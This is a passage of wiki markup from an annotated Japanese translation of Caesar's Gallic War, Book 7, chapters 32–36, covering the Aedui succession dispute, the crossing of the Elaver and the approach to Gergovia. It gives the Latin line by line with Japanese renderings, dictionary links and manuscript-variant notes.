**2名が統領を司り、
*et se [[wikt:en:uterque#Latin|uterque]] eorum legibus &lt;u&gt;creatum esse&lt;/u&gt; [[wikt:en:dicat#Latin:_speak|dicat]]. 
**彼らの双方ともに自分は法により&lt;small&gt;〔合法的に〕&lt;/small&gt;選出されたのであると言っているのだから──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:creatus#Latin|creatum]] esse だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では esse は省かれている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
{{wikipedia|en:Convictolitavis}}
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Horum esse alterum [[wikt:en:Convictolitavis#Latin|Convictolitavem]], [[wikt:en:florens#Latin|florentem]] et [[wikt:en:inlustris#Latin|inlustrem]] [[wikt:en:adulescens#Noun|adulescentem]]&lt;!--,--&gt;; 
**彼らの一方は、コンウィクトリタウィスで、声望があり、秀でた青年である。
*alterum [[wikt:en:Cotus#Latin|Cotum]], [[wikt:en:antiquissimus#Latin|antiquissima]] familia [[wikt:en:natus#Latin:_born|natum]] 
**他方は、コトゥスで、とても古くからの家系に生まれて、
*atque ipsum hominem summae [[wikt:en:potentia#Latin|potentiae]] et magnae [[wikt:en:cognatio#Latin|cognationis]], 
**自身も最大勢力と多くの縁戚関係をもつ人物であり、
*cuius frater Valetiacus proximo anno eundem [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gesserit#Latin|gesserit]]. 
**その兄弟ウァレティアクスは前年に同じ統領を司っていたのである。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Civitatem esse omnem in [[wikt:en:arma#Latin|armis]]; 
**部族は皆が武装している。
*[[wikt:en:divisus#Latin|divisum]] [[wikt:en:senatus#Latin|senatum]], divisum [[wikt:en:populus#Latin:_people|populum]], &lt;u&gt;suas&lt;/u&gt; [[wikt:en:cuiusque#Latin|cuiusque]] eorum [[wikt:en:clientela#Latin|clientelas]]. 
**評議会も分裂し、民衆も分裂し、彼ら&lt;small&gt;〔2名〕&lt;/small&gt;の&lt;small&gt;（それぞれの）&lt;/small&gt;庇護民となっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の suas は主要写本&amp;omega;の記述だが、より劣った写本では in suas となっている。）&lt;/span&gt;
*[[wikt:en:quodsi#Latin|Quodsi]] [[wikt:en:diutius#Latin|diutius]] [[wikt:en:alatur#Latin|alatur]] [[wikt:en:controversia#Latin|controversia]], 
**もしこれ以上、紛争が進められれば、
*fore uti pars cum parte civitatis [[wikt:en:confligat#Latin|confligat]]. 
**部族の派閥と派閥が激突することになるであろう。
*Id ne [[wikt:en:accidat#Etymology_1|accidat]], [[wikt:en:positus#Latin|positum]] in eius [[wikt:en:diligentia#Latin|diligentia]] atque [[wikt:en:auctoritas#Latin|auctoritate]].
**それが起こらないかは、彼（カエサル）の入念さと影響力にかかっている。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===33節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/33節]]　{{進捗|00%|2026-10-04}}&lt;/span&gt;
;カエサルがハエドゥイー族の権力をコンウィクトリタウィスに与える

:　
;　　　カエサルが、ハエドゥイー族の内紛を危惧する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar, &lt;u&gt;etsi&lt;/u&gt; a bello atque hoste [[wikt:en:discedo#Latin|discedere]] [[wikt:en:detrimentosus#Latin|detrimentosum]] esse [[wikt:en:existimabat#Latin|existimabat]], 
**カエサルは、戦争や敵から離れることは損害をもたらすものである、と考えていたのではあるが、
*&lt;u&gt;tamen&lt;/u&gt; non [[wikt:en:ignorans#Latin|ignorans]], [[wikt:en:quantus#Latin|quanta]] ex [[wikt:en:dissensionibus#Latin|dissensionibus]] [[wikt:en:incommodum#Noun|incommoda]] [[wikt:en:oriri#Latin|oriri]] [[wikt:en:consuessent#Latin|consuessent]], 
**しかしながら、[[wikt:ja:内訌|内訌]]からどれほどの災厄が生じることが常であるか、知らないではなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～, [[wikt:en:tamen#Latin|tamen]] …「～ではあるが、しかしながら…」）&lt;/span&gt;
*ne [[wikt:en:tantus#Latin|tanta]] et [[wikt:en:tam#Latin|tam]] [[wikt:en:coniunctus#Latin:_participle|coniuncta]] [[wikt:en:populus#Latin|populo]] [[wikt:en:Romanus#Adjective|Romano]] [[wikt:en:civitas#Latin|civitas]], 
**──これほど大きく、これほどローマ人民と協同している&lt;small&gt;（ハエドゥイーの）&lt;/small&gt;{{ruby|部族国家|キーウィタース}}が、
*quam ipse semper [[wikt:en:aluisset#Latin|aluisset]] [[wikt:en:omnis#Latin|omnibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; rebus [[wikt:en:ornasset#Latin|ornasset]], 
**彼らのことを&lt;small&gt;（カエサル）&lt;/small&gt;自身は常に助成して、かつあらゆる事柄で敬意を表していたのだが、
*ad [[wikt:en:vis#Latin|vim]] atque [[wikt:en:arma#Latin|arma]] [[wikt:en:descenderet#Latin|descenderet]], 
**&lt;small&gt;（彼らが内紛という）&lt;/small&gt;暴力や戦乱に沈み込まないように、
*atque ea pars, quae [[wikt:en:minus#Latin:_adverb|minus]] sibi [[wikt:en:confideret#Latin|confideret]], [[wikt:en:auxilia#Latin|auxilia]] a [[wikt:en:Vercingetorix#Latin|Vercingetorige]] [[wikt:en:arcesseret#Latin|arcesseret]], 
**かつ、自分たちにとって劣勢だと確信している一派が[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の支援を呼び寄せないように──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ civitas, ～ descenderet, ～ arcesseret「～部族が、～沈まないように、～招かないように」）&lt;/span&gt;
*huic rei [[wikt:en:praevertendus#Latin|praevertendum]] [[wikt:en:existimavit#Latin|existimavit]], 
**この事柄は&lt;small&gt;（戦争遂行よりも）&lt;/small&gt;優先されるべき、と考えた。
:　
;　　　ハエドゥイー族の内紛を沙汰すべく、カエサル自らが赴く
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, quod [[wikt:en:lex#Latin|legibus]] [[wikt:en:Haedui#Latin|Haeduorum]] iis, qui summum [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:obtinerent#Latin|obtinerent]], [[wikt:en:excedo#Latin|excedere]] ex finibus non [[wikt:en:liceret#Latin|liceret]], 
**──というのは、[[w:ハエドゥイ族|ハエドゥイー族]]の法により、最高官職に就いている者は領土から出ることを許されないので──
*ne [[wikt:en:aliquid#Latin:_pronoun|quid]] de [[wikt:en:ius#Latin:_justice|iure]] aut de [[wikt:en:lex#Latin|legibus]] eorum [[wikt:en:deminuisse#Latin|deminuisse]] [[wikt:en:videretur#Latin|videretur]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;彼らの法令あるいは法制について何ら軽視したとは思われないように、

[[画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。]]

*ipse in [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:statuit#Latin|statuit]] 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身がハエドゥイー族のもとに出発することを決心した。
*[[wikt:en:senatus#Latin|senatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et &lt;u&gt;quos inter [[wikt:en:controversia#Latin|controversia]] [[wikt:en:esset#Latin:_be|esset]]&lt;/u&gt; 
**かつ、&lt;u&gt;評議会&lt;/u&gt;の全員、および紛争が介在しているところの者たちを
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：部族国家の合議制統治機関を、カエサルの『ガリア戦記』では&lt;br&gt;　　　　ローマの元老院になぞらえて [[wikt:en:senatus#Latin|senatus]] と呼んでいるが、&lt;br&gt;　　　　区別して「評議会」と訳す。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：quos inter ～ は、関係節の関係代名詞 quos が&lt;br&gt;　　　　　　　　　　　前置詞 inter の前に出ている語順。）&lt;/span&gt;
*ad se [[wikt:en:Decetia#Latin|Decetiam]] [[wikt:en:evocavit#Latin|evocavit]]. 
**デケティアの自分&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ呼び出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：デケティア [[w:la:Decetia|Decetia]] は、現在の[[w:en:Decize|Decize]] ドシーズ（ドゥスィズ&lt;ref&gt;Decize の発音は [[wikt:fr:Decize|Decize]] を参照せよ。&lt;/ref&gt;）であると考えられている。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Cum prope omnis civitas eo [[wikt:en:convenisset#Latin|convenisset]], [[wikt:en:doceretur#Latin|doceretur]]&lt;nowiki&gt;que&lt;/nowiki&gt; 
**部族のほぼすべての&lt;small&gt;（主だった）&lt;/small&gt;者たちがそこに集まっていたときに、&lt;small&gt;（以下のことが）&lt;/small&gt;報知された。
*[[wikt:en:paucus#Latin|paucis]] [[wikt:en:clam#Latin|clam]] [[wikt:en:convocatus#Latin|convocatis]] [[wikt:en:alius#Latin|alio]] loco, [[wikt:en:alius#Latin|alio]] tempore atque [[wikt:en:oportuerit#Latin|oportuerit]], 
**わずかな者たちが密かに、あるべきはずとは別の場所、別の時に呼び集められて、
*[[wikt:en:fratrem#Latin|fratrem]] a [[wikt:en:fratre#Latin|fratre]] [[wikt:en:renuntiatus#Latin|renuntiatum]] &lt;span style=&quot;color:#009900;&quot;&gt;[esse]&lt;/span&gt;, 
**兄により弟&lt;small&gt;（の就位）&lt;/small&gt;が告げられたというのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：前年に統領であった兄ウァレティアクスによって&lt;br&gt;　　　　弟コトゥスの統領への就位が告げられたということであろう。）&lt;/span&gt;
*&lt;span style=&quot;font-size:11pt;&quot;&gt;cum leges &lt;u&gt;duo&lt;/u&gt; ex una familia [[wikt:en:vivus#Latin|vivo]] [[wikt:en:utroque#Latin|utroque]] &lt;u&gt;non solum&lt;/u&gt; [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:creari#Latin|creari]] [[wikt:en:vetarent#Latin|vetarent]], &lt;u&gt;sed etiam&lt;/u&gt; in [[wikt:en:senatus#Latin|senatu]] esse [[wikt:en:prohiberent#Latin|prohiberent]],&lt;/span&gt; 
**&lt;span style=&quot;font-size:11pt;&quot;&gt;──法が、一家族の2名が双方とも存命中に、統領に選出されるのを禁じるだけでなく、&lt;u&gt;評議会&lt;/u&gt;にいることも禁じているのに──&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：non [[wikt:en:solum#Latin:_adverb|solum]] ～ [[wikt:en:sed#Latin|sed]] [[wikt:en:etiam#Latin|etiam]] …「～のみならず、…もまた」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;･&amp;beta;系写本や写本B･M･Sでは [[wikt:en:duo#Latin|duo]] だが、&lt;br&gt;　　　　　　　　　写本L･Nでは [[wikt:en:duos#Latin|duos]] となっている。）&lt;/span&gt;
*[[wikt:en:Cotus#Latin|Cotum]] [[wikt:en:imperium#Latin|imperium]] [[wikt:en:depono#Latin|deponere]] [[wikt:en:coegit#Latin|coegit]]&lt;!--,--&gt;; 
**（カエサルは）コトゥスに支配権を放棄することを強要した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:Convictolitavis#Latin|Convictolitavem]], qui per [[wikt:en:sacerdos#Latin|sacerdotes]] [[wikt:en:mos#Latin|more]] [[wikt:en:civitas#Latin|civitatis]] [[wikt:en:intermissus#Latin|intermissis]] [[wikt:en:magistratus#Latin|magistratibus]] [[wikt:en:esset#Latin:_be|esset]] [[wikt:en:creatus#Latin|creatus]], 
**コンウィクトリタウィスは、統領が空位になったときに、部族の規則により、&lt;u&gt;祭司&lt;/u&gt;を通じて選出されたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう祭司 sacerdos が[[ガリア戦記 第6巻#13節|第6巻13節]]以下で説明された[[w:ドルイド|ドルイド]]と同じか否かは不詳である。）&lt;/span&gt;
*[[wikt:en:potestas#Latin|potestatem]] [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:iussit#Latin|iussit]].
**&lt;small&gt;（カエサルは彼に）&lt;/small&gt;権力の座に就くことを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===34節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/34節]]　{{進捗|00%|2026-10-18}}&lt;/span&gt;
;ハエドゥイー族を動員し、ローマ軍をカエサルとラビエーヌスの二隊に分散

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hoc [[wikt:en:decretum#Latin|decreto]] [[wikt:en:interpositus#Latin|interposito]], 
**この裁定を裁決すると、
*[[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ハエドゥイ族|ハエドゥイー族]]を&lt;small&gt;（以下のように）&lt;/small&gt;激励して、
*ut [[wikt:en:controversia#Latin|controversiarum]] ac [[wikt:en:dissensio#Latin|dissensionis]] [[wikt:en:obliviscerentur#Latin|obliviscerentur]] 
**&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;【&lt;/span&gt;&lt;small&gt;（部族内部の）&lt;/small&gt;論争や不和を忘れるように、
*atque, omnibus [[wikt:en:omissus#Latin|omissis]] his rebus 
**かつ、これらすべての事情を度外視して、
*huic bello [[wikt:en:servirent#Latin|servirent]], 
**&lt;small&gt;（ウェルキンゲトリークスとの）&lt;/small&gt;この戦争に尽くすように、
*&lt;u&gt;[[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quae&lt;/u&gt; [[wikt:en:meruissent#Latin|meruissent]], [[wikt:en:praemium#Latin|praemia]] ab se [[wikt:en:devictus#Latin|devicta]] Gallia [[wikt:en:exspectarent#Latin|exspectarent]], 
**ガッリアが征服されたときには&lt;small&gt;（彼らが）&lt;/small&gt;得るに値する自分&lt;small&gt;〔カエサル〕&lt;/small&gt;からの恩賞を期待するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae は、最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed. pr.]] による修正で、&lt;br&gt;　　　　　　　　&amp;alpha;系・&amp;rho;系写本では [[wikt:en:ea#Latin:_things|ea]] quae &lt;br&gt;　　　　　　　　&amp;pi;系写本では atque quae となっている。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et [[wikt:en:pedes#Latin|peditum]] [[wikt:en:mille#Latin|milia]] X([[wikt:en:decem#Latin|decem]]) sibi celeriter [[wikt:en:mitterent#Latin|mitterent]], 
**&lt;small&gt;（ハエドゥイー族の）&lt;/small&gt;騎兵隊のすべてと歩兵1万名を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に速やかに派遣するように、
*quae in [[wikt:en:praesidium#Latin|praesidiis]] rei [[wikt:en:frumentarius#Latin|frumentariae]] causa [[wikt:en:disponeret#Latin|disponeret]], 
**それらは糧食供給のために守備隊として分けて置くものである、と&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;】&lt;/span&gt;
*[[wikt:en:exercitus#Latin:_noun|exercitum]] in duas partes [[wikt:en:divisit#Latin|divisit]]: 
**&lt;small&gt;（カエサルは）&lt;/small&gt;軍隊を二つの方面軍に分けた。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quattuor#Latin|quattuor]] [[wikt:en:legio#Latin|legiones]] in [[wikt:en:Senones#Latin|Senones]] [[wikt:en:Parisii#Latin|Parisios]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Labienus#Latin|Labieno]] [[wikt:en:ducendus#Latin|ducendas]] [[wikt:en:dedit#Latin|dedit]], 
**4個[[w:ローマ軍団|軍団]]をセノネース族やパリスィイー族のところに率いて行くべく[[w:ティトゥス・ラビエヌス|ラビエーヌス]]に委ねた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ラビエーヌス [[w:la:Titus Labienus|Labienus]] のこの遠征については&lt;br&gt;　　　　[[#57節|57節]]～62節で述べられる。）&lt;/span&gt;
*[[wikt:en:sex#Latin|sex]] ipse in [[wikt:en:Arverni#Latin|Arvernos]] ad oppidum [[wikt:en:Gergovia#Latin|Gergoviam]] 
**6個&lt;small&gt;（軍団）&lt;/small&gt;を自身&lt;small&gt;〔カエサル〕&lt;/small&gt;がアルウェルニー族のところの城塞都市ゲルゴウィアへ
*[[wikt:en:secundum#Preposition_2|secundum]] flumen [[wikt:en:Elaver#Latin|Elaver]] [[wikt:en:duxit#Latin|duxit]]; 
**エラウェル川に沿って率いて行った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：エラウェル川 [[w:la:Elaver|Elaver]] は現在の[[w:アリエ川|アリエ川]] Allier である。）&lt;/span&gt;
[[画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire|Loire]]）に合流する。]]
*[[wikt:en:equitatus#Latin:_cavalry|equitatus]] partem illi [[wikt:en:adtribuit#Latin|adtribuit]], 
**騎兵隊の一部を彼&lt;small&gt;〔ラビエーヌス〕&lt;/small&gt;に割り当てて、
*partem sibi [[wikt:en:reliquit#Latin|reliquit]]. 
**&lt;small&gt;（別の）&lt;/small&gt;一部を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に残した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:cognitus#Participle|cognita]] 
**その事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は
*omnibus [[wikt:en:interruptus#Latin|interruptis]] eius fluminis [[wikt:en:pons#Latin|pontibus]] 
**その川のすべての橋を破却すると、
*ab [[wikt:en:alter#Latin|altera]] fluminis parte [[wikt:en:iter#Latin|iter]] facere [[wikt:en:coepit#Latin|coepit]].
**川の別の側を行軍し始めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===35節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/35節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
;カエサルが陽動によってエラウェル川に架橋、渡河する

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum uterque &lt;u&gt;utrimque exisset exercitus&lt;/u&gt;, in conspectu, fereque &lt;u&gt;e regione&lt;/u&gt; castris castra &lt;u&gt;ponebant&lt;/u&gt;, 
**&lt;small&gt;（ガッリア勢とローマ勢の）&lt;/small&gt;軍隊の双方が互いに視界にあって、ほぼ真向かいに互いの陣営を設置したときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：一つ目の下線部は、&amp;alpha;系写本では utrimque exisset exercitus だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では utrique esset exercitui となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：三つ目の下線部は、&amp;alpha;系写本では ponebant だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では poneret となっている。）&lt;/span&gt;
*dispositis exploratoribus, necubi effecto ponte Romani copias traducerent. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;ローマ人の軍勢がどこにも橋を造って渡河しないように、偵察者たちを分けて置き、

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Erat in magnis &lt;u&gt;Caesari&lt;/u&gt; difficultatibus res, 
**カエサルにとって事態は大きな困難になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;pi;系写本では Caesari だが、&lt;br&gt;　　　　&amp;alpha;系写本などでは Caesaris となっている。）&lt;/span&gt;
*ne maiorem aestatis partem flumine impediretur, 
**夏の大部分にわたって&lt;small&gt;（対岸の敵との交戦が）&lt;/small&gt;川により妨げられるのではないか、
*quod non fere ante autumnum Elaver vado transiri solet. 
**──というのは、[[w:アリエ川|エラウェル川]]は秋の前はほとんど浅瀬を渡らない習わしであったからだ──。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque, ne id accideret, 
**こうして、そのことが生じないように、
*silvestri loco castris positis 
**森林地帯に陣営を設置すると、
*&lt;u&gt;e regione&lt;/u&gt; unius eorum pontium, quos Vercingetorix rescindendos curaverat, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が切り裂かれるように手配していたところの橋の一つの真向かいに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*postero die cum duabus legionibus &lt;u&gt;in occulto&lt;/u&gt; restitit; 
**翌日に、2個[[w:ローマ軍団|軍団]]とともに密かなところに留まった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; reliquas copias cum omnibus impedimentis, ut consueverat, misit, 
**残りの軍勢&lt;small&gt;&lt;/small&gt;（＝4個軍団）をすべての輜重とともに、通常のように、出発させた。
*&lt;u&gt;captis&lt;/u&gt; quibusdam cohortibus, uti numerus legionum constare videretur. 
**軍団の数を保っていると（敵から）見られるように、いくつかの&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を含ませていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では captis だが、&lt;br&gt;　　　　写本Rの一部では carptis となっており、&lt;br&gt;　　　　校訂版により、apertis、distractis、sic collocatis などさまざまな修正提案がある。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; His, quam longissime possent, &lt;u&gt;egredi&lt;/u&gt; iussis, 
**彼ら（4個軍団）には、できる限り遠くまで前進することを命じた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では egredi だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では progredi となっている。）&lt;/span&gt;

*cum iam ex diei tempore coniecturam &lt;u&gt;ceperat&lt;/u&gt; in castra perventum, 
**すでに、日の時刻から（彼らが）宿営地に到達したと（カエサルが）推測をしたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では ceperat だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では caperet となっている。）&lt;/span&gt;

*isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit. 
**（前述の）同じ橋杭は、そのより下方の部分が損なわれないで残っていたので、橋を修復し始めた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter effecto opere 
**速やかに工事が成し遂げられて、
*legionibusque traductis et loco castris idoneo delecto, 
**&lt;small&gt;&lt;/small&gt;（2個）軍団が渡河させられて、陣営に適切な地点を選んで、
*reliquas copias revocavit. 
**残りの軍勢（＝4個軍団）を呼び戻した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Vercingetorix re cognita, 
**ウェルキンゲトリークスは事態を知って、
*ne contra suam voluntatem dimicare cogeretur, 
**自らの意向に反して&lt;small&gt;&lt;/small&gt;（ローマ勢と）争闘することを強いられないように、
*magnis itineribus antecessit.
**強行軍で&lt;small&gt;&lt;/small&gt;（ゲルゴウィアに向けて）先行した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===36節===
{{wikipedia|ゲルゴウィアの戦い}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
;両軍がゲルゴウィアの要衝に陣営を築く
[[画像:FR-63-Gergovie.JPG|thumb|right|300px|ゲルゴウィア（Gergovia）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀のウジェーヌ・ストッフェル大佐（colonel [[w:fr:Eugène Stoffel|Eugène Stoffel]]）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。]]
[[画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀のストッフェル大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。]]

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex eo loco quintis castris [[wikt:en:Gergovia#Latin|Gergoviam]] pervenit 
**カエサルは（渡河した）その地点から5回目の宿営でゲルゴウィアに到着した。
*equestrique eo die proelio levi facto, 
**（到着した）その日に（ガッリア勢と）軽微な[[w:騎兵|騎兵]]戦を闘って、
*perspecto urbis situ, quae posita in altissimo monte omnes aditus difficiles habebat, 
**山の非常に高いところに位置し、すべての接近路を困難なものとしている（ゲルゴウィアの）町の地勢を認識して、
*de &lt;u&gt;expugnatione&lt;/u&gt; desperavit;  
**（拙速に突撃するような）攻略については断念して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:expugnatione#Latin|expugnatione]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:oppugnatione#Latin|oppugnatione]] となっている。）&lt;/span&gt;
*de obsessione non &lt;u&gt;prius&lt;/u&gt; agendum constituit, &lt;u&gt;quam&lt;/u&gt; rem frumentariam expedisset. 
**糧食調達の整備をするより前には、攻囲について行なうべきでないと決心した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：prius ～ quam …「…よりも前に～」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; At Vercingetorix, castris prope oppidum &lt;u&gt;in monte&lt;/u&gt; positis, 
